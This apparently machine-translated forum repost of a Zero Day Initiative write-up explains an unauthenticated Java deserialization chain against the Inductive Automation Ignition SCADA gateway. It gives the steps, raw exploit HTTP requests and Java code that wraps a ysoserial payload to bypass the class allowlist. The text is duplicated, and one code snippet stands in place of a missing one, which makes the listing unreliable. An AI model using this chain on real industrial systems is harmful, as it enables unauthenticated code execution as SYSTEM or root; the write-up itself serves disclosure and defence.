Zer0must2b
Green Team
- 23.06.2019
- 306
- 141
В январе 2020 года был проведен первый конкурс Pwn2Own Miami на конференции S4 и продуктах целевой системы промышленного управления (ICS). На конкурсе команда Педро Рибейру и Радека Домански использовала утечку информации и небезопасную ошибку десериализации для выполнения кода в системе зажигания с индуктивной автоматизацией. Их последнее усилие, закончившееся в первый день конкурса, принесло им 25 000 долларов. Теперь, когда исправления доступны от поставщика, они любезно предоставили следующее видео с описанием и демонстрацией.
В этом посте описывается цепочка уязвимостей Java, обнаруженных Педро Рибейро ( @ pedrib1337 ) и Радеком Домански ( @RabbitPro ). Эти ошибки были использованы для участия в конкурсе ZDI Pwn2Own Miami 2020 в январе. Описанные уязвимости присутствуют в продукте SCADA Inductive Automation Ignition, версии от 8.0.0 до 8.0.7 включительно. Уязвимости были недавно исправлены поставщиком, который рекомендует пользователям обновить версию до 8.0.10. Вот краткое видео об этих ошибках в действии:
Конфигурация Ignition по умолчанию может использоваться злоумышленником, не прошедшим проверку подлинности. Успешная эксплуатация обеспечит удаленное выполнение кода как SYSTEM в Windows или root в Linux.
Эксплойт объединяет три уязвимости для выполнения кода:
1. Неаутентифицированный доступ к конфиденциальному ресурсу.
2. Небезопасная десериализация Java.
3. Использование небезопасной библиотеки Java.
Все фрагменты кода в этом блоге были получены путем декомпиляции файлов JAR версии 8.0.7.
Детали уязвимости
Прежде чем углубляться в уязвимости, давайте рассмотрим некоторую справочную информацию о зажигании и /system/gatewayконечной точке. Зажигание прослушивает большое количество портов TCP и UDP, поскольку оно должно обрабатывать несколько протоколов SCADA в дополнение к своей основной функциональности.
Основными портами являются TCP 8088 и TCP / TLS 8043, которые используются для управления административным сервером по HTTP (S) и управления связью между различными компонентами зажигания.
Несколько конечных точек API прослушивают этот порт, но тот, который нас интересует, находится в /system/gateway. Эта конечная точка API позволяет пользователю выполнять удаленные вызовы функций. Только немногие могут быть вызваны неаутентифицированным пользователем. Login.designer()Функция является одним из них. Он связывается с клиентами, используя XML, содержащий сериализованные объекты Java. Его код находится в com.inductiveautomation.ignition.gateway.servlets.Gatewayклассе.
Обычно выполнение связи клиент-сервер с сериализованными объектами Java может привести к прямому выполнению кода, но в этом случае это не так просто. Прежде чем мы углубимся в это, давайте посмотрим, как Login.designer()выглядит запрос:
И его ответ:
Запрос и ответ содержат сериализованные объекты Java, которые передаются функциям, которые можно вызывать удаленно. В приведенном выше примере показан вызов designer() функции com.inductiveautomation.ignition.gateway.servlets.gateway.functions.Login класса с четырьмя аргументами.
Стек вызовов, прежде чем мы достигнем, Login.designer()выглядит следующим образом:
В Gateway.doPost()сервлет выполняют некоторые версии и здравомыслие проверки затем отправляет запрос AbstractGatewayFunction.invoke(), который анализирует и проверяет его перед вызовом Login.designer(), как показано ниже:
Эта функция делает следующее:
1 - анализирует полученное сообщение.
2 - Определяет функцию для вызова.
3 - Проверяет аргументы функции, чтобы определить, безопасны ли они для десериализации.
4 - Гарантирует, что количество аргументов соответствует ожидаемому числу для целевой функции.
5 - вызывает функцию с десериализованными аргументами.
6 - отправляет ответ обратно клиенту.
Перед десериализацией аргументы проверяются на предмет наличия «безопасных» объектов. Это делается по телефону decodeToObjectFragile()из com.inductiveautomation.ignition.common.Base64. Эта функция принимает два аргумента: String с объектом в кодировке Base64 и список разрешенных классов, которые можно десериализовать.
Как показано выше, если decodeToObjectFragile() получает nullвместо списка разрешенных классов, он использует «нормальный» ObjectInputStreamдля десериализации объекта, со всеми проблемами и небезопасностью, которые он приносит. Однако, если указан разрешенный список, вместо этого decodeToObjectFragileиспользуется SaferObjectInputStream класс для десериализации объекта.
SaferObjectInputStream Класс является оберткой , ObjectInputStreamкоторая проверяет класс каждого объекта десериализации. Если класс не является частью разрешенного списка, он отклоняет все вводимые данные и прекращает обработку до того, как произойдет какое-либо вредное воздействие. Вот как это выглядит:
Как видно из приведенного выше фрагмента, список разрешенных по умолчанию списков ( DEFAULT_WHITELIST) очень строг. Он позволяет десериализовать только следующие типы объектов:
- Строка
- Байт
- Короткий
- Целое
- Длинный
- Число - Число с
плавающей запятой
- Двойной
- Логический
- Дата
- Цвет
- ArrayList
- HashMap
- Enum
Поскольку это все очень простые типы, описанный здесь механизм является эффективным способом остановить большинство атак десериализации Java.
В этот блог не входит объяснение десериализации Java, как она происходит и насколько она может быть разрушительной. Если вы заинтересованы в чтении больше о нем, проверьте Java Unmarshaller безопасности или это наперстянки Security Blog Post . Теперь давайте перейдем к цепочке эксплойтов, которую мы использовали в Pwn2Own.
Уязвимость 1: неаутентифицированный доступ к конфиденциальным ресурсам
Первой уязвимостью в этой цепочке является утечка информации, но она не используется как таковая в нашем эксплойте. Злоумышленник, не прошедший проверку подлинности, может вызвать функцию «различия проекта» для получения важной информации о проекте. В нашем случае мы использовали это как трамплин для атаки на другие функции.
com.inductiveautomation.ignition.gateway.servlets.gateway.functions.ProjectDownload Класс содержит ряд действий, которые доступны удаленному злоумышленнику. Один из них getDiffs(), который показан ниже:
Как показано выше, эта функция сравнивает предоставленные данные с данными проекта на сервере и возвращает diff. Если злоумышленник предоставит правильное имя проекта, можно заставить сервер передать все данные проекта.
Опять же, эта функциональность не используется в эксплойте. Вместо этого эта функция используется в качестве трамплина для дальнейшей атаки на систему, что будет объяснено ниже.
Уязвимость № 2: небезопасная десериализация Java
Как видно из фрагмента 6, ProjectDownload.getDiffs() используется Base64.decodeToObjectFragile() функция для декодирования данных проекта. Эта функция уже была объяснена в фрагменте 4. Как мы объяснили выше, если во втором аргументе функции не предоставлен список разрешенных классов, он использует стандартный небезопасный ObjectInputStreamкласс для декодирования данного объекта. Это приводит к классической уязвимости десериализации Java, которая в конечном итоге приводит к удаленному выполнению кода, когда она связана с последней уязвимостью.
Уязвимость № 3: Использование небезопасной библиотеки Java
Последнее звено в этой цепочке - злоупотребление Java-классом с уязвимыми объектами Java-гаджетов, которые можно использовать для выполнения удаленного кода. К счастью для нас, зажигание имеет именно это. Он использует очень старую версию Apache Commons Beanutils версии 1.9.2, выпущенную в 2013 году.
Существует полезная нагрузка для этой библиотеки в известном ysoserial Java инструмента эксплуатации десериализации, названный CommonsBeanutils1 .
эксплуатация
Подводя итог, чтобы добиться удаленного выполнения кода, нам нужно сделать следующее:
1 - Создайте полезную нагрузку ysoserial CommonsBeanutils1 .
2 - Base64 кодирует полезную нагрузку.
3 - инкапсулировать полезную нагрузку в объект Java String.
4 - Сериализация объекта String с использованием стандартных функций сериализации Java.
5 - Base64 кодирует сериализованный объект String.
6 - Отправить запрос на /system/gatewayвызов getDiffs()с вредоносными параметрами.
Мы можем обойти белый список сериализации и выполнить наш код! Но как? Давайте копаться в этом.
Наша полезная нагрузка будет иметь следующий формат:
base64(String(base64(YSOSERIAL_PAYLOAD))
Код, показанный во фрагменте 3, будет выполнять декодирование Base64, что приведет к:
String(base64(YSOSERIAL_PAYLOAD))
Это проверено по белому списку, показанному в предыдущем разделе, и разрешено быть десериализованным, так как это Stringкласс. Затем мы идем в ProjectDownload.getDiffs(). Он принимает наш аргумент String и вызывает Base64.decodeToObjectFragile()его без указания белого списка.
Как показано в фрагменте 4 , это будет Base64 декодировать строку и затем вызовет ObjectInputStream.readObject()наш вредоносный объект (YSOSERIAL_PAYLOAD), что приведет к выполнению кода!
Генерация полезной нагрузки
Чтобы создать нашу полезную нагрузку, мы начинаем с вызова ysoserial, как показано ниже:
Затем следующий код Java можно использовать для инкапсуляции полезной нагрузки внутри строки и ее сериализации на диск:
В этом коде <YSOSERIAL_BASE64_PAYLOAD> должен содержаться вывод Snippet 7 .
Наконец, мы отправляем следующий запрос к цели:
<PAYLOAD> Будет содержать выход запуска Snippet 8 . Цель ответит:
Ответ содержит трассировку стека, указывающую, что что-то пошло не так, но полезная нагрузка была выполнена как SYSTEM (или root в Linux).
С полезной нагрузкой, предоставленной в Snippet 7, появится файл C:\flashback.txtс текстом nt authority\system. Это показывает, что мы достигли удаленного выполнения кода без аутентификации.
Вывод
Мы надеемся, что вам понравилось это объяснение эксплойта, который мы использовали в Pwn2Own Miami. Индуктивная автоматизация исправила эти ошибки с выпуском 8.0.10 . Этот выпуск содержит множество других исправлений, а также новые функции. Если вы хотите протестировать свои собственные системы, для вашего удобства мы выпустили модуль Metasploit . Вы можете увидеть это в действии на видео выше
Еще раз спасибо Педро и Радеку за предоставление этой замечательной статьи. Их вклад в Pwn2Own Miami помог сделать его великим событием, и мы, безусловно, надеемся, что в будущем мы получим от них больше материалов. До тех пор следите за командой, чтобы узнать о новейших методах эксплойтов и исправлениях безопасности.
Источник: Zero Day Initiative — A Trio of Bugs Used to Exploit Inductive Automation at Pwn2Own Miami
В этом посте описывается цепочка уязвимостей Java, обнаруженных Педро Рибейро ( @ pedrib1337 ) и Радеком Домански ( @RabbitPro ). Эти ошибки были использованы для участия в конкурсе ZDI Pwn2Own Miami 2020 в январе. Описанные уязвимости присутствуют в продукте SCADA Inductive Automation Ignition, версии от 8.0.0 до 8.0.7 включительно. Уязвимости были недавно исправлены поставщиком, который рекомендует пользователям обновить версию до 8.0.10. Вот краткое видео об этих ошибках в действии:
Конфигурация Ignition по умолчанию может использоваться злоумышленником, не прошедшим проверку подлинности. Успешная эксплуатация обеспечит удаленное выполнение кода как SYSTEM в Windows или root в Linux.
Эксплойт объединяет три уязвимости для выполнения кода:
1. Неаутентифицированный доступ к конфиденциальному ресурсу.
2. Небезопасная десериализация Java.
3. Использование небезопасной библиотеки Java.
Все фрагменты кода в этом блоге были получены путем декомпиляции файлов JAR версии 8.0.7.
Детали уязвимости
Прежде чем углубляться в уязвимости, давайте рассмотрим некоторую справочную информацию о зажигании и /system/gatewayконечной точке. Зажигание прослушивает большое количество портов TCP и UDP, поскольку оно должно обрабатывать несколько протоколов SCADA в дополнение к своей основной функциональности.
Основными портами являются TCP 8088 и TCP / TLS 8043, которые используются для управления административным сервером по HTTP (S) и управления связью между различными компонентами зажигания.
Несколько конечных точек API прослушивают этот порт, но тот, который нас интересует, находится в /system/gateway. Эта конечная точка API позволяет пользователю выполнять удаленные вызовы функций. Только немногие могут быть вызваны неаутентифицированным пользователем. Login.designer()Функция является одним из них. Он связывается с клиентами, используя XML, содержащий сериализованные объекты Java. Его код находится в com.inductiveautomation.ignition.gateway.servlets.Gatewayклассе.
Обычно выполнение связи клиент-сервер с сериализованными объектами Java может привести к прямому выполнению кода, но в этом случае это не так просто. Прежде чем мы углубимся в это, давайте посмотрим, как Login.designer()выглядит запрос:
Код:
<!--
POST /system/gateway HTTP/1.1
Content-type: text/xml
User-Agent: Java/11.0.4
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 845
-->
<?xml version="1.0" encoding="UTF-8"?>
<requestwrapper>
<version>964325727</version>
<scope>2</scope>
<message>
<messagetype>199</messagetype>
<messagebody>
<arg name="funcId">
<![CDATA[Login]]>
</arg>
<arg name="subFunction">
<![CDATA[designer]]>
</arg>
<arg name="arg" index="0">
<![CDATA[H4sIAAAAAAAAAFvzloG1hMG1Wqm0OLUoLzE3VTc1L1nJSinFMMnQyDApMdnEyCzJyDhVSUepILG4
uDy/KAWXiloAvpMDvEwAAAA=]]>
</arg>
<arg name="arg" index="1">
<![CDATA[H4sIAAAAAAAAAFvzloG1uIhBMCuxLFEvJzEvXc8zryQ1PbVI6NGCJd8b2y2YGBg9GVjLEnNKUyuKGAQQ6vxKc5NSi9rWTJXlnvKgm4mBoaKgItLQAACH6ksSUQAAAA==]]>
</arg>
<arg name="arg" index="2">
<![CDATA[H4sIAAAAAAAAAFvzloG1hIHXtbQovyBV3yc/LyU/DwDHsV9XFAAAAA==]]>
</arg>
<arg name="arg" index="3">
<![CDATA[H4sIAAAAAAAAAFvzloG1hIHfxTXYO8Q/QNc/MDDE1MkYAOTFO60WAAAA]]>
</arg>
</messagebody>
</message>
<locale>
<l>en</l>
<c>GB</c>
<v></v>
</locale>
</requestwrapper>
И его ответ:
Код:
<--
HTTP/1.1 200 OK
Date: Sun, 24 Nov 2019 00:33:56 GMT
Content-Type: text/xml
Server: Jetty(9.4.8.v20180619)
Content-Length: 1254
-->
<?xml version="1.0" encoding="UTF-8"?>
<ResponseWrapper>
<Response>
<SerializedResponse>
H4sIAAAAAAAAAKVUz2sTQRid/NgktbUmFlp66EH00ktyEyFCTSvFaFqFqrT04mR3spkwu7POzKbb
IIVeitCDpSpSRVrQi1D04F9QPAiiQgv24EUPXoVevfnNbpK2eFFcyGb5vjffj/fe7vZPZEiBJkzu
5Klr+aaiTYJ9xR2sKHfz1HZp+AAAB/58SUR+HEtqlnxVJ66iJlbEugXh4Oa9D1Ovx4biKFZBPYo6
RCrseAplKw3cxAVfUVa4DOhiIND5f2+oe+wMLa0Mz8VycWRUUK/JXYVNVXZr/HiXCpWqWEFxaik0
GMUpL8wQQTGjLVxlBLK9nuA1ysg0dohCpyMYw65dmFGCujZADMEZbNGpEdae4IwRU48IgAFp1onl
M1KyGr5UDhAi76IllIAVx/52RVijRu1oyRuCe0SoxRkYKbpiIZ+pJma+HuXUkVGmsFcMPJAvp2N5
HctfwbIOcSP9defd4J3dBIpPohOMY2sSmOKiDMrUBZF1zqzAG7sUtuhbyMA9C780FLv4P3OTN7tb
Jb+QjqNkGRl1k1sEaDQZbrUUyh3heIJhKYHBPovUsM/Ubb3fcRmuVxtANGCSLkikaTUCz1h/9qIp
UDbcWMPykVpbBy8vtIpvx+MIBR6Yzqhiy9Ykhnr07dfWn+iHnEKpElvAi0BlpiNeNxZh07/8YoiF
Mj01KqRyQ4u0S6XGp3c6acPlSqvSTm3uPZxtd4mDFVBGD+hjm3hR/mD0/n7naEY7OyqcMrEgCkeY
V/17Z7oYIKnTPJDtt8bm3GbkUITQjvmy4/hKO1t7/1zH6sSa5MJpOwmBk+ZRhjAS+lShgfk/2Q48
X3QSEb/txNrn2c2sHGUhwboazNN/iKpweGNWf6x9fHD2G/S5iozQscExqaZ9p0rEyvbjkd5H31e7
lbTLFUq3nQB1Bw79XBICL+qdguW9kY33+HkCxcooKWG38HBsIRkdP1myHOoCUGDweaApHO2OGJbS
3556Yzl2bU4NJ3RvbfuY+/TLxqfgN5dVns8IBQAA
</SerializedResponse>
<errorNo>0</errorNo>
</Response>
<SetCookie>D07B61A39DAE828E35134292A70777A4</SetCookie>
</ResponseWrapper>
Запрос и ответ содержат сериализованные объекты Java, которые передаются функциям, которые можно вызывать удаленно. В приведенном выше примере показан вызов designer() функции com.inductiveautomation.ignition.gateway.servlets.gateway.functions.Login класса с четырьмя аргументами.
Стек вызовов, прежде чем мы достигнем, Login.designer()выглядит следующим образом:
Код:
com.inductiveautomation.ignition.gateway.servlets.Gateway.doPost()
com.inductiveautomation.ignition.gateway.servlets.gateway.AbstractGatewayFunction.invoke()
com.inductiveautomation.ignition.gateway.servlets.gateway.functions.Login.designer()
В Gateway.doPost()сервлет выполняют некоторые версии и здравомыслие проверки затем отправляет запрос AbstractGatewayFunction.invoke(), который анализирует и проверяет его перед вызовом Login.designer(), как показано ниже:
Код:
public final void invoke(GatewayContext context, PrintWriter out, ClientReqSession session, String projectName, Message msg) {
String funcName = msg.getArg("subFunction");
AbstractGatewayFunction.SubFunction function = null;
if (TypeUtilities.isNullOrEmpty(funcName)) {
function = this.defaultFunction;
} else {
function = (AbstractGatewayFunction.SubFunction)this.functions.get(funcName);
}
if (function == null) {
Gateway.printError(out, 500, "Unable to locate function '" + this.getFunctionName(funcName) + "'", (Throwable)null);
} else if (function.reflectionErrorMessage != null) {
Gateway.printError(out, 500, "Error loading function '" + this.getFunctionName(funcName) + "'", (Throwable)null);
} else {
Set<Class<?>> classWhitelist = null;
int i;
Class argType;
if (!this.isSessionRequired()) {
classWhitelist = Sets.newHashSet(SaferObjectInputStream.DEFAULT_WHITELIST);
Class[] var9 = function.params;
int var10 = var9.length;
for(i = 0; i < var10; ++i) {
argType = var9[i];
classWhitelist.add(argType);
}
if (function.retType != null) {
classWhitelist.add(function.retType);
}
}
List<String> argList = msg.getIndexedArg("arg");
Object[] args;
if (argList != null && argList.size() != 0) {
args = new Object[argList.size()];
for(i = 0; i < argList.size(); ++i) {
if (argList.get(i) == null) {
args[i] = null;
} else {
try {
args[i] = Base64.decodeToObjectFragile((String)argList.get(i), classWhitelist);
} catch (ClassNotFoundException | IOException var15) {
ClassNotFoundException cnfe = null;
if (var15.getCause() instanceof ClassNotFoundException) {
cnfe = (ClassNotFoundException)var15.getCause();
} else if (var15 instanceof ClassNotFoundException) {
cnfe = (ClassNotFoundException)var15;
}
if (cnfe != null) {
Gateway.printError(out, 500, this.getFunctionName(funcName) + ": Argument class not valid.", cnfe);
} else {
Gateway.printError(out, 500, "Unable to read argument", var15);
}
return;
}
}
}
} else {
args = new Object[0];
}
if (args.length != function.params.length) {
String var10002 = this.getFunctionName(funcName);
Gateway.printError(out, 202, "Function '" + var10002 + "' requires " + function.params.length + " arguments, got " + args.length, (Throwable)null);
} else {
for(i = 0; i < args.length; ++i) {
argType = function.params[i];
if (args[i] != null) {
try {
args[i] = TypeUtilities.coerce(args[i], argType);
} catch (ClassCastException var14) {
Gateway.printError(out, 202, "Function '" + this.getFunctionName(funcName) + "' argument " + (i + 1) + " could not be coerced to a " + argType.getSimpleName(), var14);
return;
}
}
}
try {
Object[] fullArgs = new Object[args.length + 3];
fullArgs[0] = context;
fullArgs[1] = session;
fullArgs[2] = projectName;
System.arraycopy(args, 0, fullArgs, 3, args.length);
if (function.isAsync) {
String uid = context.getProgressManager().runAsyncTask(session.getId(), new MethodInvokeRunnable(this, function.method, fullArgs));
Gateway.printAsyncCallResponse(out, uid);
return;
}
Object obj = function.method.invoke(this, fullArgs);
if (obj instanceof Dataset) {
Gateway.datasetToXML(out, (Dataset)obj);
out.println("<errorNo>0</errorNo></Response>");
} else {
Serializable retVal = (Serializable)obj;
Gateway.printSerializedResponse(out, retVal);
}
} catch (Throwable var16) {
Throwable ex = var16;
Throwable cause = var16.getCause();
if (var16 instanceof InvocationTargetException && cause != null) {
ex = cause;
}
int errNo = 500;
if (ex instanceof GatewayFunctionException) {
errNo = ((GatewayFunctionException)ex).getErrorCode();
}
LoggerFactory.getLogger("gateway.clientrpc.functions").debug("Function invocation exception.", ex);
Gateway.printError(out, errNo, ex.getMessage() == null ? "Error executing gateway function." : ex.getMessage(), ex);
}
}
}
}
Эта функция делает следующее:
1 - анализирует полученное сообщение.
2 - Определяет функцию для вызова.
3 - Проверяет аргументы функции, чтобы определить, безопасны ли они для десериализации.
4 - Гарантирует, что количество аргументов соответствует ожидаемому числу для целевой функции.
5 - вызывает функцию с десериализованными аргументами.
6 - отправляет ответ обратно клиенту.
Перед десериализацией аргументы проверяются на предмет наличия «безопасных» объектов. Это делается по телефону decodeToObjectFragile()из com.inductiveautomation.ignition.common.Base64. Эта функция принимает два аргумента: String с объектом в кодировке Base64 и список разрешенных классов, которые можно десериализовать.
Код:
public static Object decodeToObjectFragile(String encodedObject, Set<Class<?>> classWhitelist) throws ClassNotFoundException, IOException {
byte[] objBytes = decode(encodedObject, 2);
ByteArrayInputStream bais = null;
ObjectInputStream ois = null;
Object obj = null;
try {
bais = new ByteArrayInputStream(objBytes);
if (classWhitelist != null) {
ois = new SaferObjectInputStream(bais, classWhitelist);
} else {
ois = new ObjectInputStream(bais);
}
obj = ((ObjectInputStream)ois).readObject();
} finally {
try {
bais.close();
} catch (Exception var15) {
}
try {
((ObjectInputStream)ois).close();
} catch (Exception var14) {
}
}
return obj;
}
Как показано выше, если decodeToObjectFragile() получает nullвместо списка разрешенных классов, он использует «нормальный» ObjectInputStreamдля десериализации объекта, со всеми проблемами и небезопасностью, которые он приносит. Однако, если указан разрешенный список, вместо этого decodeToObjectFragileиспользуется SaferObjectInputStream класс для десериализации объекта.
SaferObjectInputStream Класс является оберткой , ObjectInputStreamкоторая проверяет класс каждого объекта десериализации. Если класс не является частью разрешенного списка, он отклоняет все вводимые данные и прекращает обработку до того, как произойдет какое-либо вредное воздействие. Вот как это выглядит:
Код:
public class SaferObjectInputStream extends ObjectInputStream {
public static final Set<Class<?>> DEFAULT_WHITELIST = ImmutableSet.of(String.class, Byte.class, Short.class, Integer.class, Long.class, Number.class, new Class[]{Float.class, Double.class, Boolean.class, Date.class, Color.class, ArrayList.class, HashMap.class, Enum.class});
private final Set<String> whitelist;
public SaferObjectInputStream(InputStream in) throws IOException {
this(in, DEFAULT_WHITELIST);
}
public SaferObjectInputStream(InputStream in, Set<Class<?>> whitelist) throws IOException {
super(in);
this.whitelist = new HashSet();
Iterator var3 = whitelist.iterator();
while(var3.hasNext()) {
Class<?> c = (Class)var3.next();
this.whitelist.add(c.getName());
}
}
protected ObjectStreamClass readClassDescriptor() throws IOException, ClassNotFoundException {
ObjectStreamClass ret = super.readClassDescriptor();
if (!this.whitelist.contains(ret.getName())) {
throw new ClassNotFoundException(String.format("Unexpected class %s encountered on input stream.", ret.getName()));
} else {
return ret;
}
}
}
Как видно из приведенного выше фрагмента, список разрешенных по умолчанию списков ( DEFAULT_WHITELIST) очень строг. Он позволяет десериализовать только следующие типы объектов:
- Строка
- Байт
- Короткий
- Целое
- Длинный
- Число - Число с
плавающей запятой
- Двойной
- Логический
- Дата
- Цвет
- ArrayList
- HashMap
- Enum
Поскольку это все очень простые типы, описанный здесь механизм является эффективным способом остановить большинство атак десериализации Java.
В этот блог не входит объяснение десериализации Java, как она происходит и насколько она может быть разрушительной. Если вы заинтересованы в чтении больше о нем, проверьте Java Unmarshaller безопасности или это наперстянки Security Blog Post . Теперь давайте перейдем к цепочке эксплойтов, которую мы использовали в Pwn2Own.
Уязвимость 1: неаутентифицированный доступ к конфиденциальным ресурсам
Первой уязвимостью в этой цепочке является утечка информации, но она не используется как таковая в нашем эксплойте. Злоумышленник, не прошедший проверку подлинности, может вызвать функцию «различия проекта» для получения важной информации о проекте. В нашем случае мы использовали это как трамплин для атаки на другие функции.
com.inductiveautomation.ignition.gateway.servlets.gateway.functions.ProjectDownload Класс содержит ряд действий, которые доступны удаленному злоумышленнику. Один из них getDiffs(), который показан ниже:
Код:
@GatewayFunction
public String getDiffs(GatewayContext context, HttpSession session, String sessionProject, String projectSnapshotsBase64) throws GatewayFunctionException {
try {
List<ProjectSnapshot> snapshots = (List<ProjectSnapshot>)Base64.decodeToObjectFragile(projectSnapshotsBase64);
RuntimeProject p = ((RuntimeProject)context.getProjectManager().getProject(sessionProject).orElseThrow(() -> new ProjectNotFoundException(sessionProject))).validateOrThrow();
List<ProjectDiff.AbsoluteDiff> diffs = context.getProjectManager().pull(snapshots);
return (diffs == null) ? null : Base64.encodeObject(Lists.newArrayList(diffs));
} catch (Exception e) {
throw new GatewayFunctionException(500, "Unable to load project diff.", e);
}
}
Как показано выше, эта функция сравнивает предоставленные данные с данными проекта на сервере и возвращает diff. Если злоумышленник предоставит правильное имя проекта, можно заставить сервер передать все данные проекта.
Опять же, эта функциональность не используется в эксплойте. Вместо этого эта функция используется в качестве трамплина для дальнейшей атаки на систему, что будет объяснено ниже.
Уязвимость № 2: небезопасная десериализация Java
Как видно из фрагмента 6, ProjectDownload.getDiffs() используется Base64.decodeToObjectFragile() функция для декодирования данных проекта. Эта функция уже была объяснена в фрагменте 4. Как мы объяснили выше, если во втором аргументе функции не предоставлен список разрешенных классов, он использует стандартный небезопасный ObjectInputStreamкласс для декодирования данного объекта. Это приводит к классической уязвимости десериализации Java, которая в конечном итоге приводит к удаленному выполнению кода, когда она связана с последней уязвимостью.
Уязвимость № 3: Использование небезопасной библиотеки Java
Последнее звено в этой цепочке - злоупотребление Java-классом с уязвимыми объектами Java-гаджетов, которые можно использовать для выполнения удаленного кода. К счастью для нас, зажигание имеет именно это. Он использует очень старую версию Apache Commons Beanutils версии 1.9.2, выпущенную в 2013 году.
Существует полезная нагрузка для этой библиотеки в известном ysoserial Java инструмента эксплуатации десериализации, названный CommonsBeanutils1 .
эксплуатация
Подводя итог, чтобы добиться удаленного выполнения кода, нам нужно сделать следующее:
1 - Создайте полезную нагрузку ysoserial CommonsBeanutils1 .
2 - Base64 кодирует полезную нагрузку.
3 - инкапсулировать полезную нагрузку в объект Java String.
4 - Сериализация объекта String с использованием стандартных функций сериализации Java.
5 - Base64 кодирует сериализованный объект String.
6 - Отправить запрос на /system/gatewayвызов getDiffs()с вредоносными параметрами.
Мы можем обойти белый список сериализации и выполнить наш код! Но как? Давайте копаться в этом.
Наша полезная нагрузка будет иметь следующий формат:
base64(String(base64(YSOSERIAL_PAYLOAD))
Код, показанный во фрагменте 3, будет выполнять декодирование Base64, что приведет к:
String(base64(YSOSERIAL_PAYLOAD))
Это проверено по белому списку, показанному в предыдущем разделе, и разрешено быть десериализованным, так как это Stringкласс. Затем мы идем в ProjectDownload.getDiffs(). Он принимает наш аргумент String и вызывает Base64.decodeToObjectFragile()его без указания белого списка.
Как показано в фрагменте 4 , это будет Base64 декодировать строку и затем вызовет ObjectInputStream.readObject()наш вредоносный объект (YSOSERIAL_PAYLOAD), что приведет к выполнению кода!
Генерация полезной нагрузки
Чтобы создать нашу полезную нагрузку, мы начинаем с вызова ysoserial, как показано ниже:
Код:
public static void main(String[] args) {
try {
String payload = "<YSOSERIAL_BASE64_PAYLOAD>";
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(bos);
objectOutputStream.writeObject(payload);
objectOutputStream.close();
byte[] encodedBytes = Base64.getEncoder().encode(bos.toByteArray());
FileOutputStream fos = new FileOutputStream("/tmp/output");
fos.write(encodedBytes);
fos.close();
bos.close();
} catch (Exception e) {
e.printStackTrace();
}
}
Затем следующий код Java можно использовать для инкапсуляции полезной нагрузки внутри строки и ее сериализации на диск:
Код:
public static void main(String[] args) {
try {
String payload = "<YSOSERIAL_BASE64_PAYLOAD>";
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(bos);
objectOutputStream.writeObject(payload);
objectOutputStream.close();
byte[] encodedBytes = Base64.getEncoder().encode(bos.toByteArray());
FileOutputStream fos = new FileOutputStream("/tmp/output");
fos.write(encodedBytes);
fos.close();
bos.close();
} catch (Exception e) {
e.printStackTrace();
}
}
В этом коде <YSOSERIAL_BASE64_PAYLOAD> должен содержаться вывод Snippet 7 .
Наконец, мы отправляем следующий запрос к цели:
Код:
<!--
POST /system/gateway HTTP/1.1
Content-type: text/xml
User-Agent: Java/11.0.4
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 1337
-->
<?xml version="1.0" encoding="UTF-8"?>
<requestwrapper>
<version>1184437744</version>
<scope>2</scope>
<message>
<messagetype>199</messagetype>
<messagebody>
<arg name="funcId">
<![CDATA[ProjectDownload]]>
</arg>
<arg name="subFunction">
<![CDATA[getDiff]]>
</arg>
<arg name="arg" index="0">
<![CDATA[<PAYLOAD>]]>
</arg>
</messagebody>
</message>
<locale>
<l>en</l>
<c>GB</c>
<v></v>
</locale>
</requestwrapper>
<PAYLOAD> Будет содержать выход запуска Snippet 8 . Цель ответит:
Код:
<!--
HTTP/1.1 200 OK
Date: Sat, 11 Jan 2020 10:17:55 GMT
Content-Type: text/xml
Server: Jetty(9.4.20.v20190813)
Content-Length: 7760
-->
<?xml version="1.0" encoding="UTF-8"?>
<ResponseWrapper>
<Response>
<errorNo>500</errorNo>
<errorMsg>Unable to load project diff.</errorMsg>
<StackTrace>
<ExceptionMsg>Unable to load project diff.</ExceptionMsg>
<ExceptionString>com.inductiveautomation.ignition.gateway.servlets.gateway.functions.GatewayFunctionException: Unable to load project diff.</ExceptionString>
<ExceptionCls>com.inductiveautomation.ignition.gateway.servlets.gateway.functions.GatewayFunctionException</ExceptionCls>
<ExceptionOTS>false</ExceptionOTS>
<StackTraceElem>
<decl>com.inductiveautomation.ignition.gateway.servlets.gateway.functions.ProjectDownload</decl>
<meth>getDiff</meth>
<file>ProjectDownload.java</file>
<line>52</line>
</StackTraceElem>
<StackTraceElem>
<decl>jdk.internal.reflect.NativeMethodAccessorImpl</decl>
<meth>invoke0</meth>
<file>null</file>
<line>-2</line>
</StackTraceElem>
<StackTraceElem>
<decl>jdk.internal.reflect.NativeMethodAccessorImpl</decl>
<meth>invoke</meth>
<file>null</file>
<line>-1</line>
</StackTraceElem>
<StackTraceElem>
<decl>jdk.internal.reflect.DelegatingMethodAccessorImpl</decl>
<meth>invoke</meth>
<file>null</file>
<line>-1</line>
</StackTraceElem>
<!-- (...) -->
Ответ содержит трассировку стека, указывающую, что что-то пошло не так, но полезная нагрузка была выполнена как SYSTEM (или root в Linux).
С полезной нагрузкой, предоставленной в Snippet 7, появится файл C:\flashback.txtс текстом nt authority\system. Это показывает, что мы достигли удаленного выполнения кода без аутентификации.
Вывод
Мы надеемся, что вам понравилось это объяснение эксплойта, который мы использовали в Pwn2Own Miami. Индуктивная автоматизация исправила эти ошибки с выпуском 8.0.10 . Этот выпуск содержит множество других исправлений, а также новые функции. Если вы хотите протестировать свои собственные системы, для вашего удобства мы выпустили модуль Metasploit . Вы можете увидеть это в действии на видео выше
Еще раз спасибо Педро и Радеку за предоставление этой замечательной статьи. Их вклад в Pwn2Own Miami помог сделать его великим событием, и мы, безусловно, надеемся, что в будущем мы получим от них больше материалов. До тех пор следите за командой, чтобы узнать о новейших методах эксплойтов и исправлениях безопасности.
Источник: Zero Day Initiative — A Trio of Bugs Used to Exploit Inductive Automation at Pwn2Own Miami
Последнее редактирование: